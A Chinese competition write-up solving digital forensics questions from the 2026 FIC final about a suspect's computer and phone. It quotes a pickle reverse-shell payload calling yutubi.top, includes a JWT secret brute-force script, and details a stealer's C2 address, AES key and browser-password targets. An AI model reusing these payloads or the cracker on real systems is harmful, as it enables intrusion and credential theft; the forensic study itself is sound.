2026FIC决赛

1
2
前言:本次比赛也是拿下全国第八的成绩,希望以后越来越好吧,复盘不易,大家多多支持
容器密码:\/a15f5b1d-a9fbdb79-de9ee6bf-28b9fce1\/

计算机取证

1.分析计算机检材,嫌疑人telegram绑定的手机号为【参考格式:110】

答案:14453319203

解题思路:分析结果可以看到TG,查看个人信息找到绑定的手机号。

image-20260716184021928

2.分析计算机检材,cherry studio工具配置的默认模型ip地址为【参考格式:1.1.1.1】

答案:192.168.50.156

解题思路;仿真后运行cherry studio 打开设置,可以看到IP地址

image-20260717113920338

3.分析计算机检材,BitLocker的恢复密钥后6位【参考格式:000000】

答案:414590

解题思路:仿真之后可以看到桌面上有backup文件夹,打开后有9张图片,名字就是恢复密钥,

image-20260717111954610

图片隐写,我们将这9张图片导出,放到随波逐流,stegsolve,(Red plane 0),每张图片都能看到一部分二维码,

image-20260717112326808

这样我们将九张分开的二维码用拼图软件合成一个,这里比赛时我用的是pixpin,最后用QR search得到密钥。

9d785ef01b27de6d79426bffb24bee7dimage-20260717112812890

image-20260717113003979

密钥:689865-233827-094380-171589-275946-330451-580448-414590

4.分析计算机检材并找到proton邮箱的助记词,第一个单词为【参考格式:bad】

答案:settle

解题思路:在D盘的key文件夹里可以看到proton的加密pdf,

image-20260717115509255

用passware爆破。

image-20260717142552869

image-20260717142708616

5.分析计算机检材,嫌疑人对zhuhu.fic网站发起攻击时,用户名user对应的密码为【参考格式:123】

答案:1qazxsw2

解题思路: 攻击网站需要用到的抓包软件,是桌面的yakit,打开后查看history,然后过滤关键字 password,可以看到user的密码是1qazxsw2。

image-20260717114630043

6.分析计算机检材,嫌疑人对zhuhu.fic网站发起攻击时网站使用的jwt,其签名密钥为【参考格式:123】

答案:

解题思路:在这里可以看到jwt,可以写脚本爆破一下。(密码本为rockyou.txt:1400多万个弱口令密码字典下载 - 完美代码

image-20260717122123262

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import hmac
import hashlib
import base64
import sys
import time

# 固定配置
TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc3NzAxMjc5fQ.fzH7mSgYvu0yv6SHCUhd36h4Vx9RhZdkSnOfz0Ptm84"
WORDLIST = r"D:\CTF\WEB\密码本\dict.txt"
PRINT_STEP = 100000

def base64url_decode(s: str) -> bytes:
pad = 4 - len(s) % 4
return base64.urlsafe_b64decode(s + "=" * pad)

def check_key(secret: str, raw: bytes, target_sig: bytes) -> bool:
sig = hmac.new(secret.encode(), raw, hashlib.sha256).digest()
return hmac.compare_digest(sig, target_sig)

def main():
parts = TOKEN.split(".")
if len(parts) != 3:
print("[-] JWT格式错误")
return
data = f"{parts[0]}.{parts[1]}".encode()
target = base64url_decode(parts[2])

print(f"[*] JWT: {TOKEN[:60]}...")
print(f"[*] 字典: {WORDLIST}")
print("[*] 开始爆破\n")

start = time.time()
cnt = 0
try:
with open(WORDLIST, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
key = line.strip()
if not key:
continue
cnt += 1
if check_key(key, data, target):
cost = time.time() - start
print(f"\n[+] 密钥找到: {key}")
print(f"[*] 遍历{cnt}条,耗时{cost:.2f}s")
return
if cnt % PRINT_STEP == 0:
cost = time.time() - start
speed = int(cnt / cost) if cost else 0
print(f"[*] 已试{cnt}条,速度{speed}/s")
except FileNotFoundError:
print(f"[-] 找不到文件 {WORDLIST}")
sys.exit()

print(f"\n[-] 字典内无匹配密钥,共遍历{cnt}条")

if __name__ == "__main__":
main()

image-20260717135646816

7.分析计算机检材,嫌疑人对zhuhu.fic网站发起攻击时,使用的反弹shell中配置的外联服务器域名为【参考格式:baidu.com】

答案:yutubi.top

解题思路:这里挨个找一下就可以看到反弹shell了,可以看到

1
2
3
4
5
6
7
8
9
10
cos
system
(S'bash -c "bash -i >& /dev/tcp/yutubi.top/2333 0>&1"'
tR.
------WebKitFormBoundaryq5ZZ53VZ5HAiQHA1--
这是Linux 反向反弹 Shell,作用:
执行交互式 bash;
将标准输出、标准错误重定向到远程地址 yutubi.top:2333;
标准输入也从远程端口读取;
攻击者在 yutubi.top 的 2333 端口监听,拿到目标服务器完整交互式 Shell,完全控制机器。

image-20260717120124321

8.分析计算机检材,嫌疑人对zhuhu.fic网站发起攻击过程中,下载的住户信息文件密码为【参考格式:123】

答案:kfcvme50xiexie

解题思路:攻击网站需要用到的抓包软件,是桌面的yakit,打开后查看history,然后过滤关键字 password,可以看到右侧对应的文件名是住户信息,所以是我们想要找的密码。

image-20260717114437502

9.搜索计算机检材,找到迷宫游戏中预设的最优路径,分析游戏中隐藏的密码【参考格式:123】

答案:427d672e8b36c12343f8380628025677

解题思路:

  • - 隐藏密码:`427d672e8b36c12343f8380628025677`
    - 最优路径步数:`218`
    - 校验值:`md5(md5(pathStr)) = eeb34e08916da88e2d2ebe3503fceb50`
    分析过程
    1. 样本是 Electron 程序,关键逻辑位于 `resources/app.asar`。
    2. 直接解析 asar 头部可得到文件索引,核心文件有:
       - `main.js`
       - `map.html`
       - `map.txt`
    3. `map.html` 中的胜利逻辑如下:
    js
    const pathStr = logicPath.join('|');
    if (md5(md5(pathStr)) == "eeb34e08916da88e2d2ebe3503fceb50") {
        pass = `重要密码:${md5(pathStr)}`
    }
    4. `logicPath` 在初始化时先写入起点:
    js
    logicPath = [`${startCell.col},${startCell.row}`];
    
    5. 玩家每进入一个新格子,会追加当前坐标,格式是 `col,row`:
    js
    logicPath.push(`${Math.floor(playerX/CELL_SIZE)},${Math.floor(playerY/CELL_SIZE)}`);
    
    6.map.txt 第一行是迷宫尺寸,后续每个数字是墙体位掩码:
       -1 = 上
       -2 = 右
       -4 = 下
       -8 = 左
    
    7. 因此只需要把 `map.txt` 解析为网格图,从 `(0,0)` 到 `(19,19)` 跑 BFS,即可得到唯一最短路径。
    
    最优路径
    
    - 方向串:
    text
    DRDLDDDDDDDDDRDDRUURRDRRUUUURDRUULURRRUULDLLLDLUURURRRUUURRDLDDRURRRDLLDRRRUUURURRDRDLDDLULDDLDRDRRULURRDDDDLULLDDDRURDRDLLDLLLDRDLDDLUUULDDDLDLUURULLLLULLDRDRRDDLULLLLURULLDLLDRDDRRRURDRRRRRRRURDRRRUUURDDDRUUUUURDDDDD
    
    pathStr:
    0,0|0,1|1,1|1,2|0,2|0,3|0,4|0,5|0,6|0,7|0,8|0,9|0,10|0,11|1,11|1,12|1,13|2,13|2,12|2,11|3,11|4,11|4,12|5,12|6,12|6,11|6,10|6,9|6,8|7,8|7,9|8,9|8,8|8,7|7,7|7,6|8,6|9,6|10,6|10,5|10,4|9,4|9,5|8,5|7,5|6,5|6,6|5,6|5,5|5,4|6,4|6,3|7,3|8,3|9,3|9,2|9,1|9,0|10,0|11,0|11,1|10,1|10,2|10,3|11,3|11,2|12,2|13,2|14,2|14,3|13,3|12,3|12,4|13,4|14,4|15,4|15,3|15,2|15,1|16,1|16,0|17,0|18,0|18,1|19,1|19,2|18,2|18,3|18,4|17,4|17,3|16,3|16,4|16,5|15,5|15,6|16,6|16,7|17,7|18,7|18,6|17,6|17,5|18,5|19,5|19,6|19,7|19,8|19,9|18,9|18,8|17,8|16,8|16,9|16,10|16,11|17,11|17,10|18,10|18,11|19,11|19,12|18,12|17,12|17,13|16,13|15,13|14,13|14,14|15,14|15,15|14,15|14,16|14,17|13,17|13,16|13,15|13,14|12,14|12,15|12,16|12,17|11,17|11,18|10,18|10,17|10,16|11,16|11,15|10,15|9,15|8,15|7,15|7,14|6,14|5,14|5,15|6,15|6,16|7,16|8,16|8,17|8,18|7,18|7,17|6,17|5,17|4,17|3,17|3,16|4,16|4,15|3,15|2,15|2,16|1,16|0,16|0,17|1,17|1,18|1,19|2,19|3,19|4,19|4,18|5,18|5,19|6,19|7,19|8,19|9,19|10,19|11,19|12,19|12,18|13,18|13,19|14,19|15,19|16,19|16,18|16,17|16,16|17,16|17,17|17,18|17,19|18,19|18,18|18,17|18,16|18,15|18,14|19,14|19,15|19,16|19,17|19,18|19,19
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117

    EXP:

    ```javascript
    const fs = require('fs');
    const path = require('path');
    const crypto = require('crypto');

    function md5(input) {
    return crypto.createHash('md5').update(input).digest('hex');
    }

    function readAsarFile(asarPath, name) {
    const blob = fs.readFileSync(asarPath);
    const headerLength = blob.readUInt32LE(12);
    const headerStart = 16;
    const dataStart = headerStart + headerLength;
    const header = JSON.parse(blob.slice(headerStart, dataStart).toString());
    const file = header.files[name];

    if (!file) {
    throw new Error(`Missing file in asar: ${name}`);
    }

    const start = dataStart + Number(file.offset);
    const end = start + file.size;
    return blob.slice(start, end).toString();
    }

    function parseMaze(text) {
    const lines = text.trim().split(/\r?\n/);
    const [rows, cols] = lines[0].split(' ').map(Number);
    const maze = lines.slice(1).map((line) => line.trim().split(/\s+/).map(Number));
    return { rows, cols, maze };
    }

    function solveMaze(maze, rows, cols) {
    const dirs = [
    { dr: -1, dc: 0, wall: 1, move: 'U' },
    { dr: 0, dc: 1, wall: 2, move: 'R' },
    { dr: 1, dc: 0, wall: 4, move: 'D' },
    { dr: 0, dc: -1, wall: 8, move: 'L' }
    ];

    const queue = [[0, 0]];
    const prev = Array.from({ length: rows }, () => Array(cols).fill(null));
    prev[0][0] = [-1, -1, 'S'];

    for (let i = 0; i < queue.length; i += 1) {
    const [r, c] = queue[i];
    if (r === rows - 1 && c === cols - 1) {
    break;
    }

    for (const dir of dirs) {
    const nr = r + dir.dr;
    const nc = c + dir.dc;
    if (nr < 0 || nr >= rows || nc < 0 || nc >= cols) {
    continue;
    }
    if (maze[r][c] & dir.wall) {
    continue;
    }
    if (prev[nr][nc]) {
    continue;
    }

    prev[nr][nc] = [r, c, dir.move];
    queue.push([nr, nc]);
    }

    }

    const cells = [];
    const moves = [];
    for (let cur = [rows - 1, cols - 1]; cur; ) {
    const [r, c] = cur;
    cells.push([r, c]);
    const p = prev[r][c];
    if (!p || p[0] === -1) {
    break;
    }
    moves.push(p[2]);
    cur = [p[0], p[1]];
    }

    cells.reverse();
    moves.reverse();

    const pathStr = cells.map(([r, c]) => `${c},${r}`).join('|');
    return {
    steps: cells.length - 1,
    moves: moves.join(''),
    pathStr,
    password: md5(pathStr),
    validation: md5(md5(pathStr))
    };
    }

    function main() {
    const asarPath = path.join(__dirname, '..', 'resources', 'app.asar');
    const mazeText = readAsarFile(asarPath, 'map.txt');
    const { rows, cols, maze } = parseMaze(mazeText);
    const result = solveMaze(maze, rows, cols);

    console.log(JSON.stringify({
    rows,
    cols,
    steps: result.steps,
    moves: result.moves,
    pathStr: result.pathStr,
    password: result.password,
    validation: result.validation
    }, null, 2));
    }

    main();

image-20260717143531275

10.用上述密码解密嫌疑人窃取的外卖数据文件,其中address字段为沈阳市的用户数量为(无需去重或验证数据真实性)

答案:687

解题思路:可以在D:/mm下找到外卖数据文件,用DB-cipher打开,输入上题的密码,过滤address为沈阳市,可以发现有687个。

image-20260717144952282

image-20260717145134191

11.搜索计算机检材,找到树莓派备份文件,分析其中部署的模型文件md5值为【参考格式:123】

答案:DAD354B796D74F65C9BDD354FDA01BD6

解题思路:首先,我们在D盘backup可以找到树莓派备份文件,但是pmfx文件火眼分析不了,

image-20260717142225443

在桌面上可以看到有diskgenius软件,磁盘恢复软件,

image-20260717142236221

我们可以把pmfx备份文件放进去,转换为vmdk格式的文件,用火眼进行分析。

image-20260717142317868

image-20260717142517740

用火眼分析后,在usr/model可以找到模型文件,计算其MD5。

image-20260717143858876

12.分析树莓派备份文件,其中部署的ai agent程序为

答案:hermes agent

解题思路:在root目录下可以看到。

image-20260717145253326

13.分析树莓派备份文件,agent程序中,用于爬取暗网的skill所爬取的网站域名为

答案:http://7ukmkdtyxdkdivtjad57klqnd3kdsmq6tp45rrsxqnu76zzv3jvitlqd.onion/

解题思路:在/root/.hermes/.hermes_history可以看到。

image-20260717145710974

14.分析该agent程序,skill在爬取暗网过程中,最早下载的样本文件名为

答案:sample_5_databases-info.txt

解题思路:在state.db中可以发现对话,在最后的对话中,记录了爬取的内容,

image-20260717150033516

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
太棒了!脚本执行成功!优化后的 tor-onion-crawler skill 工作正常。

执行结果总结:

1. 成功爬取主页面
- 目标:http://7ukmkdtyxdkdivtjad57klqnd3kdsmq6tp45rrsxqnu76zzv3jvitlqd.onion/
- 保存为:/root/hidden_wiki.html (31969 字节)
- 页面标题:Data Leak

2. 成功解析数据泄露条目
- 共找到 21 个数据泄露条目
- 包含公司名称、描述、官网、链接等信息
- 链接已分类:sample、database、full_leak、expired 等

3. 自动下载了 3 个样本文件
- /root/downloads/sample_5_databases-info.txt (16.8 KB) - Acadian Ambulance
- /root/downloads/sample_8_db2.zip (446 KB) - Omni Hotels & Resorts
- /root/downloads/sample_8_db3.zip (1.06 MB) - Omni Hotels & Resorts

4. 解析结果已保存
- /root/leaks.json - 包含所有 21 个条目的结构化数据

注意:Communicare 的样本下载失败(那个 .onion 地址不可达),但脚本自动跳过并下载了其他可用样本。

所有文件都在 /root/ 目录下。你可以查看 leaks.json 了解完整的数据泄露条目信息。

所以答案是sample_5_databases-info.txt

15.暗网服务使用的上游代理ip地址是什么

答案:192.168.50.135

解题思路:在.hermes_history可以找到。

image-20260717150245931

16.分析计算机检材中的cs.exe,请给出这个exe程序的md5值?

答案:E630529110A01B1CE38A9A1BF3BEE9F0

解题思路:在D盘cs文件夹里,计算哈希即可。

image-20260717153407433

17.分析计算机检材中的cs.exe,连接的C2地址是?

答案:192.168.58.172:9999

解题思路:

1
2
3
4
5
6
7
8
9
在 evil_rsrc10.bin / evil.dll 中可以直接定位到如下关键常量:

- `C2_HOST`
- `192.168.58.172`
- `C2_PORT`
其中主机地址在常量区明文出现,因此 C2 主机可确定为:
- `192.168.58.172`
另外,紧邻 `C2_HOST` / `C2_PORT` 的整数编码字节为 `8f 4e`,按变长整型可解为 `9999`。
- 192.168.58.172:9999

18.分析计算机检材中的cs.exe,可以获取几个浏览器的密码?

答案:2

解题思路:

1
2
3
4
5
6
7
8
在 `evil.dll` / `evil_rsrc10.bin` 中可以看到浏览器密码采集逻辑:
- `browser_passwords`
- `harvest_browser_passwords`
并且其浏览器目标字典只包含 2 项:
- `chrome` -> `Google\Chrome\User Data\Default\Login Data`
- `edge` -> `Microsoft\Edge\User Data\Default\Login Data`
因此可获取浏览器密码的数量为:
- 2

19.分析计算机检材中的cs.exe,客户端回传了加密数据8xULYcBPgtVDeUYCpKtisYPuPZaetRX3QrOF94R8x7PrbpZ0RgQleZqYFqDUnXyB3rSICCkauTo/UDC7eOV1SwCv8H+JEuE4+mw0H7vJqv+ZzOESLJ/2I6LiqqLSBDCsCBc8bcjpEskkCX8RNUAQQQ== 解密数据,hostname的值为?【参考格式:ABCD-EFGH】

答案:DESKTOP-9FG1UPK

解题思路:

  • 从 `evil.dll` / `evil_rsrc10.bin` 常量区可以恢复出 AES 相关逻辑:
    - 使用 `base64`
    - 使用 `AES.MODE_CBC`
    - 使用 `PKCS7` 补位
    在常量区 `C2_HOST / C2_PORT / 注册表路径` 后面,存在一个稳定的 16 字节二进制常量:
    text
    8c 88 f3 4a bc 09 48 fb cb 36 6a 74 7f 4c d6 0e
    即 AES Key 为:
    text
    8c88f34abc0948fbcb366a747f4cd60e
    ### 9.2 解密结果
    将题目密文做 `base64` 解码后:
    - 前 16 字节为 IV
    - 剩余部分为 AES-CBC 密文
    成功解得明文 JSON:
    json
    {"type": "checkin", "hostname": "DESKTOP-9FG1UPK", "user": "MBRE", "pid": 45140}
    因此本题 `hostname` 的值为:
    - `DESKTOP-9FG1UPK`
    
    1
    2
    3
    4
    5
    6
    7

    ### 20.分析计算机检材中的cs.exe,可以从服务端接收的action指令有多少种?

    答案:9

    解题思路:

    在 `evil_rsrc10.bin`(在`Unknown action:` 附近可见动作字符串) 的动作分发表附近,可以看到服务端下发动作及对应处理逻辑。可明确恢复出的 action 有:
  1. ping
  2. autostart_add
  3. autostart_remove
  4. clipboard_start
  5. clipboard_stop
  6. clipboard_dump
  7. screenshot
  8. browser_passwords
  9. exit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

## 手机取证

### 1.分析手机检材,该手机设备名称为

答案:REDMAGIC 9 Pro+

解题思路:在基本信息-图片中可以找到关于本机的截图。

![image-20260717152547049](image-20260717152547049.jpg)

### 2.分析手机检材,该手机系统magisk【环境版本】为【参考格式:26000】

答案:30600

解题思路:在data/adb/magisk可以看到。

![image-20260717154714494](image-20260717154714494.png)

### 3.分析手机检材,嫌疑人通过盖世游戏app安装的《最终幻想》游戏版本是【参考格式:罗马数字】

答案:XIII

解题思路:在路径可以找到final fantasy

检材2.手机.tar/data_15/media/0/Android/data/com.xiaoji.egggame/files/Documents/XiaoKunLogcat/XiaoKunLogInfo-5.txt

![image-20260717174742113](image-20260717174742113.png)

### 4.分析手机检材,5月6日,嫌疑人最后一次使用谷歌套件中的某个app,其包名是【参考格式:aaa.bbb.ccc】

答案:com.google.android.googlequicksearchbox

解题思路:根据包名和时间过滤一下,排除掉谷歌服务,得到答案。

![image-20260717180518333](image-20260717180518333.png)

### 5.分析上述app5月6日推送新闻的相关痕迹和缓存,新闻《男子拾获钱包以为天降横财》中事件发生的地点是【参考格式:上海闵行】

答案:柔佛麻坡

解题思路:先到文件系统搜索上题包名 找到之后查看cache的image。

![image-20260717181810237](image-20260717181810237.jpg)

### 6.分析该手机关机信息情况,最近一次因电池电池异常过热导致关机的北京时间为【参考格式:1970-01-01 00:11:22】

答案:2026-01-21 17:28:02

解题思路:文件直接搜索shutdown,可以找到对应日志。

![image-20260717192507331](image-20260717192507331.png)

```sh
BatteryService.shutdownIfOverTempLocked
直译:电池服务检测到设备超温,执行过热强制关机逻辑

7.分析手机检材,北京时间2026-05-06 10:43:38左右哪些应用的通知被查看了?

A.com.v2ray.ang

B.com.quark.browser

C.com.ai.assistance.operit

D.com.stevesoltys.seedvault

答案:AC

解题思路:

1
借鉴玫幽倩师傅的wp

这题需要找到统计数据,检材2.手机.tar/data/system_ce/0/usagestats。(Android dumpsys usagestats --proto 导出的二进制统计数据)

daily可以看到一些时间戳文件

image-20260717195900592

image-20260717200222299

这里我们需要结合所有纯数字的 protobuf 日志文件,读取 mappings,构建「数字 ID → 应用包名、页面类名」对照表;

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
#!/usr/bin/env python3
from pathlib import Path
from datetime import datetime, timezone, timedelta
import csv

# UsageStats 事件类型映射
EVENT_TYPES = {
0: 'NONE',
1: 'ACTIVITY_RESUMED',
2: 'ACTIVITY_PAUSED',
3: 'END_OF_DAY',
4: 'CONTINUE_PREVIOUS_DAY',
5: 'CONFIGURATION_CHANGE',
6: 'SYSTEM_INTERACTION',
7: 'USER_INTERACTION',
8: 'SHORTCUT_INVOCATION',
9: 'CHOOSER_ACTION',
10: 'NOTIFICATION_SEEN',
11: 'STANDBY_BUCKET_CHANGED',
12: 'NOTIFICATION_INTERRUPTION',
13: 'SLICE_PINNED_PRIV',
14: 'SLICE_PINNED',
15: 'SCREEN_INTERACTIVE',
16: 'SCREEN_NON_INTERACTIVE',
17: 'KEYGUARD_SHOWN',
18: 'KEYGUARD_HIDDEN',
19: 'FOREGROUND_SERVICE_START',
20: 'FOREGROUND_SERVICE_STOP',
21: 'CONTINUING_FOREGROUND_SERVICE',
22: 'ROLLOVER_FOREGROUND_SERVICE',
23: 'ACTIVITY_STOPPED',
24: 'ACTIVITY_DESTROYED',
25: 'FLUSH_TO_DISK',
26: 'DEVICE_SHUTDOWN', # 设备关机
27: 'DEVICE_STARTUP', # 设备开机
28: 'USER_UNLOCKED', # 用户解锁
29: 'USER_STOPPED',
30: 'LOCUS_ID_SET',
31: 'APP_COMPONENT_USED',
}


def read_varint(data: bytes, offset: int) -> tuple[int, int]:
"""读取protobuf varint,返回(数值, 新偏移)"""
shift = 0
result = 0
while True:
if offset >= len(data):
raise EOFError("truncated varint, data incomplete")
b = data[offset]
offset += 1
result |= (b & 0x7F) << shift
if not (b & 0x80):
return result, offset
shift += 7
if shift > 70:
raise ValueError("varint value too long, exceed max bits")


def skip_value(data: bytes, offset: int, wire_type: int) -> int:
"""跳过指定wire类型的字段,返回新偏移"""
if wire_type == 0:
_, offset = read_varint(data, offset)
return offset
if wire_type == 1: # fixed64
return offset + 8
if wire_type == 2: # length-delimited
length, offset = read_varint(data, offset)
return offset + length
if wire_type == 5: # fixed32
return offset + 4
raise ValueError(f"unsupported protobuf wire type: {wire_type}")


def iter_fields(data: bytes):
"""迭代解析protobuf所有字段,生成 (field_num, wire_type, value)"""
offset = 0
while offset < len(data):
key, offset = read_varint(data, offset)
field_num = key >> 3
wire_type = key & 7
val_start = offset

if wire_type == 0:
value, offset = read_varint(data, offset)
yield field_num, wire_type, value
elif wire_type == 1:
value = data[offset:offset+8]
offset += 8
yield field_num, wire_type, value
elif wire_type == 2:
length, offset = read_varint(data, offset)
value = data[offset:offset+length]
offset += length
yield field_num, wire_type, value
elif wire_type == 5:
value = data[offset:offset+4]
offset += 4
yield field_num, wire_type, value
else:
raise ValueError(f"unsupported wire {wire_type} at offset {val_start}")


def parse_event(msg: bytes) -> dict:
"""解析单条UsageStats事件结构体"""
event = {}
for f_num, w_type, val in iter_fields(msg):
if w_type != 0:
continue
if f_num == 1:
event["package_token"] = val
elif f_num == 2:
event["class_token"] = val
elif f_num == 3:
event["time_ms"] = val
elif f_num == 4:
event["flags"] = val
elif f_num == 5:
event["type"] = val
elif f_num == 7:
event["shortcut_id_token"] = val
elif f_num == 8:
event["standby_bucket"] = val
elif f_num == 9:
event["notification_channel_id_token"] = val
elif f_num == 10:
event["instance_id"] = val
elif f_num == 11:
event["task_root_package_token"] = val
elif f_num == 12:
event["task_root_class_token"] = val
elif f_num == 13:
event["locus_id_token"] = val
return event


def parse_interval(file_path: Path) -> dict:
"""解析单个usage stats interval文件"""
raw_data = file_path.read_bytes()
out = {
"events": [],
"end_time_ms": None,
"major_version": None,
"minor_version": None,
"packages": 0,
"configurations": 0,
}
for f_num, w_type, val in iter_fields(raw_data):
if f_num == 1 and w_type == 0:
out["end_time_ms"] = val
elif f_num == 2 and w_type == 0:
out["major_version"] = val
elif f_num == 3 and w_type == 0:
out["minor_version"] = val
elif f_num == 20 and w_type == 2:
out["packages"] += 1
elif f_num == 21 and w_type == 2:
out["configurations"] += 1
elif f_num == 22 and w_type == 2:
out["events"].append(parse_event(val))
return out


def parse_mappings(file_path: Path | None) -> dict[int, list[str]]:
"""解析mappings文件,返回 token -> [包名, 类名1, 类名2...]"""
if not file_path or not file_path.exists():
return {}
raw_data = file_path.read_bytes()
mapping_dict = {}

for f_num, w_type, val in iter_fields(raw_data):
if f_num == 2 and w_type == 2:
pkg_token = None
str_list = []
for sf_num, sw_type, s_val in iter_fields(val):
if sf_num == 1 and sw_type == 0:
pkg_token = s_val
elif sf_num == 2 and sw_type == 2:
try:
str_list.append(s_val.decode("utf-8", "replace"))
except Exception:
str_list.append(repr(s_val))
if pkg_token is not None:
mapping_dict[pkg_token] = str_list
return mapping_dict


def ms_to_datetime(ms: int, tz_offset_h: int = 8) -> str:
"""毫秒时间戳转北京时间格式化字符串"""
dt = datetime.fromtimestamp(ms / 1000, tz=timezone(timedelta(hours=tz_offset_h)))
return dt.strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]


def token_resolve(mapping: dict[int, list[str]], pkg_token: int | None, cls_token: int | None = None) -> str:
"""根据token解析真实包名/类名"""
if pkg_token is None:
return ""
pkg_info = mapping.get(pkg_token)
if not pkg_info:
return f"token:{pkg_token}"
if cls_token is None:
return pkg_info[0] if pkg_info else f"token:{pkg_token}"
if 0 <= cls_token < len(pkg_info):
return pkg_info[cls_token]
return f"class_token:{cls_token}"


def scan_proto_files(root_dir: Path) -> list[Path]:
"""扫描目录下文件名纯数字的usage stats protobuf文件"""
file_list = []
for entry in root_dir.iterdir():
if entry.is_file():
try:
int(entry.name)
file_list.append(entry)
except ValueError:
continue
return sorted(file_list)


def main():
script_dir = Path(__file__).parent.resolve()

print("=" * 60)
print("Android UsageStats Protobuf 解析工具")
print("=" * 60)

# 查找数据文件
proto_files = scan_proto_files(script_dir)
if not proto_files:
print("\n[错误] 未找到数字命名的protobuf统计文件")
print("请将导出的usage stats文件放在脚本同目录")
return

print(f"\n共找到 {len(proto_files)} 个统计文件:")
for f in proto_files:
print(f" - {f.name}")

# 加载包名映射
mapping_file = script_dir / "mappings"
token_mapping = {}
if mapping_file.exists():
print(f"\n加载映射文件: {mapping_file.name}")
token_mapping = parse_mappings(mapping_file)
print(f"成功读取 {len(token_mapping)} 个应用包名映射")
else:
print("\n[警告] 无mappings文件,输出仅显示数字token")

output_csv = script_dir / "usagestats_output.csv"
print(f"\n解析结果输出至: {output_csv.name}")

all_rows = []
tz = 8
print("\n开始解析数据...")
print("=" * 60)

for proto_file in proto_files:
file_start_ms = int(proto_file.name)
interval_data = parse_interval(proto_file)
file_end_ms = file_start_ms + (interval_data["end_time_ms"] or 0)

print(f"\n==== 文件 {proto_file.name} ====")
print(f"时间区间: {ms_to_datetime(file_start_ms)} ~ {ms_to_datetime(file_end_ms)}")
print(f"事件总数: {len(interval_data['events'])} | 应用数: {interval_data['packages']} | 配置项: {interval_data['configurations']}")
print(f"数据版本: {interval_data['major_version']}.{interval_data['minor_version']}")

for idx, evt in enumerate(interval_data["events"]):
evt_type = evt.get("type")
abs_time_ms = file_start_ms + evt.get("time_ms", 0)

pkg_tok = evt.get("package_token")
cls_tok = evt.get("class_token")
pkg_name = token_resolve(token_mapping, pkg_tok)
cls_name = token_resolve(token_mapping, pkg_tok, cls_tok) if (pkg_tok and cls_tok) else ""

row = {
"file": proto_file.name,
"index": idx,
"time": ms_to_datetime(abs_time_ms, tz),
"abs_ms": abs_time_ms,
"type": evt_type,
"event": EVENT_TYPES.get(evt_type, f"UNKNOWN_{evt_type}"),
"package_token": pkg_tok,
"package": pkg_name,
"class_token": cls_tok,
"class": cls_name,
"flags": evt.get("flags"),
"instance_id": evt.get("instance_id"),
"task_root_package_token": evt.get("task_root_package_token"),
"task_root_class_token": evt.get("task_root_class_token"),
}
all_rows.append(row)

# 控制台打印关键事件:启停、开关机、解锁
if evt_type in (1, 2, 26, 27, 28):
print(f"{row['time']} | {row['event']:<26} pkg={pkg_name} cls={cls_name}")

# 写入CSV
csv_header = [
"file", "index", "time", "abs_ms", "type", "event",
"package_token", "package", "class_token", "class",
"flags", "instance_id", "task_root_package_token", "task_root_class_token"
]
with open(output_csv, "w", newline="", encoding="utf-8-sig") as f:
writer = csv.DictWriter(f, fieldnames=csv_header)
writer.writeheader()
writer.writerows(all_rows)

print("\n" + "=" * 60)
print(f"✅ 解析完成!共导出 {len(all_rows)} 条事件记录")
print(f"📁 结果文件: {output_csv.resolve()}")
print("=" * 60)


if __name__ == "__main__":
main()

image-20260717200241372

导出为csv文件后,过滤时间戳为题目给出的,过滤状态为被查看(SEEN)的,可以看到AC选项的包名。

image-20260717200318974

image-20260717200249288

8.该手机曾进行过一次备份,使用的工具是【参考格式:ABC123】

答案:seedvault

解题思路:在data文件夹里能看到一个backup也就是备份文件夹,

image-20260717201721651

打开之后能找到一个备份工具的包。

image-20260717201802447

9.使用上述工具进行备份的具体日期是【参考格式:2000/1/1】

答案:2026/05/09 14:24:27

解题思路:搜索上题的包名可以找到该文件,lastbackup对应时间戳转换一下即可。

image-20260717203022044

